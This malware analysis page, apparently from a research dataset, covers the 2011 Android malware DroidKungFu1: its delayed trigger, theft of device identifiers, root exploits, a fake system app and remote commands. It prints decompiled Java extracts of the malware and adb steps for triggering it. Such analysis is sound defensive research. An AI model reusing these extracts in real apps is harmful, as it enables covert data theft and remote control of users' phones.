DroidKungFu1

June 2011

Summary

Undesired applications installation

GroDDViewer graphs:

Details

DroidKungFu1 is a malware discovered in the middle of 2011 that is able to install an application without any notification to the user. We have included this malware in our dataset because it is a well known malware that presents interesting features. We do not give a lot of details about it and we refer the reader to [1], [2].

The malicious code of the malware is included into the package com.google.ssearch that contains four classes. The most important class is SearchService. The malware also comes with 4 noteworthy assets : gjsvro, an encrypted version of the udev exploit, ratc, an encrypted version of the exploit Rage Against The Cage, legacy, an apk file that contains a fake Google Search application, and killall, a ratc wrapper.

Stage 1: Setup of a countdown

DroidKungFu waits the BOOT_COMPLETED intent to start the service SearchService. When the service starts for the first time, it writes the current time in a XML file stimestamps.xml and stops itself. Everytime SearchService is restarted, it will check if the elapsed time between the time of the restart and the time saved in stimestamps.xml exceeds four hours.

Stage 2: Installation of a fake Google Search application

When the period of four hours has expired, the malware collects sensitive information about the device (the IMEI, the device model, the phone number, the SDK version, memory size, network information) and tries to use an exploit Exploid or RATC. If the exploit does not succeed then it tries to use the su binary to become root. Then it extracts an APK from the asset legacy. This APK file is placed into the directory /system/app and further detected by system_server as a new application to be installed.

Stage 3: Executing the C&C server commands

The malware can, through the originating infected app or the fake Google app, receive commands from a remote server. These commands can be : install or delete any package, start an application or open a web page. If the originating infected app is removed, the malware will still be able to receive commands through the fake Google app because it is installed in /system/app and so, can not be removed by the user.

[1]http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu.html
[2]http://www.hotforsecurity.com/blog/an-android-malware-analysis-droidkungfu-4474.html

Other resources

Triggering

To trigger this malware, install the application, launch it once and reboot the phone. Then you need to execute the following command:

adb pull /data/data/com.allen.mp/shared_prefs/sstimestamp.xml

Modify the value start to 1 and push back the file in the phone. After that, just reboot the phone again.

Caracteristics

Malware type :

  • Remote Administration Tool (RAT)

Attacks :

  •   Confidentiality

  •   Normal use

Infection technique : Repackaged application

Malicious code type :

  • Use Java code
  • Use native code

Hidding techniques :

  • Obfuscation with cryptographic techniques

Triggering techniques :

  • Waits for a fixed period of time
  • Waits for a particular intent

Samples

Java source code extracts:

onCreate.java is the function that sets up the countdown and checks if the period has expired.
updateInfo.java is the function used to retrieve sensitive information about the device before being sent.
cpLegacyRes.java is the function used to copy the fake Google app into the system partition after obtaining root privileges.
decrypt.java is the function used to decrypt the encrypted assets.
doExecuteTask.java is the function where the malware switches between commands of the remote server.
deleteApp.java is one of these commands in which the malware can delete a package.

onCreate.java

// in file com/google/ssearch/SearchService.java

public void onCreate() {

	super.onCreate();
	final SharedPreferences sharedPreferences = this.getSharedPreferences("sstimestamp", 0);
	final long long1 = sharedPreferences.getLong("start", 0L);
	final long currentTimeMillis = System.currentTimeMillis();

	//First time the service is started
	if (long1 == 0L) {
		final SharedPreferences$Editor edit = sharedPreferences.edit();
		edit.putLong("start", currentTimeMillis);
		edit.commit();
		this.stopSelf();
		return;
	}

	//Checking if the delay of 4 hours has expired
	if (currentTimeMillis - long1 < 14400000L) {
		this.stopSelf();
		return;
	}

	this.mPreferences = this.getSharedPreferences("permission", 0);

	//Checking if Internet is available
	if (Utils.isConnected((Context)this)) {
		this.doSearchReport();
	}

	this.getPermission();
	this.provideService();
}

updateInfo.java

// in file com/google/ssearch/SearchService.java

private void updateInfo() {
	this.mImei = Utils$PhoneState.getImei((Context)this);
	this.mMobile = Utils$PhoneState.getMobile((Context)this);
	this.mModel = Utils$PhoneState.getModel();
	this.mOsType = Utils$PhoneState.getSDKVersion()[0];
	this.mOsAPI = Utils$PhoneState.getSDKVersion()[1];
	this.mAliaMem = Utils$PhoneState.getAliaMemorySize((Context)this);
	this.mSDMem = Utils$PhoneState.getSDAliaMemory((Context)this);
	this.mNetType = Utils$PhoneState.getConnectType((Context)this);
	this.mOperater = Utils$PhoneState.getNetOperater((Context)this);
}

cpLegacyRes.java

// in file com/google/ssearch/SearchService.java

private void cpLegacyRes() {
	if (!new File("/system/app/com.google.ssearch.apk").exists()) {
		try {
			final String string = "/data/data/" + this.getApplicationInfo().packageName + "/legacy";
			Utils.copyAssets((Context)this, "legacy", string);
			if (new File(string).exists()) {
				Utils$TCP.execute("2 " + string + " /system/app/com.google.ssearch.apk");
			}
		}
		catch (Exception ex) {}
	}
}

decrypt.java

// in file com/google/ssearch/Utils.java

public static byte[] decrypt(final byte[] input) throws Exception {
	final SecretKeySpec key = new SecretKeySpec(Utils.defPassword, "AES");
	final Cipher instance = Cipher.getInstance("AES");
	instance.init(2, key);
	return instance.doFinal(input);
}

doExecuteTask.java

// in file com/google/ssearch/SearchService.java

private void doExecuteTask(final String s) {

	final String[] split = s.split(" ");
	this.mTaskId = split[0];

	switch (Integer.parseInt(split[1]))
	{
		default: {
			this.reportState(-1, "UnknownTask");
		}
		case 1: {
			//Not implemented
			this.execHomepage(split);
		}
		case 2: {
			//Install an APK
			this.execInstall(split);
		}
		case 3: {
			//Start an application
			this.execStartApp(split);
		}
		case 4: {
			//Delete an APK
			this.execDelete(split);
		}
		case 5: {
			//Open an URL
			this.execOpenUrl(split);
		}
	}
}

deleteApp.java

// in file com/google/ssearch/Utils$PkgManager.java

public static void deleteApp(final Context context, final String str) {
	if (isInstalled(context, str)) {
		final Intent intent = new Intent("android.intent.action.DELETE", Uri.parse("package:" + str));
		intent.setFlags(268435456);
		context.startActivity(intent);
	}
}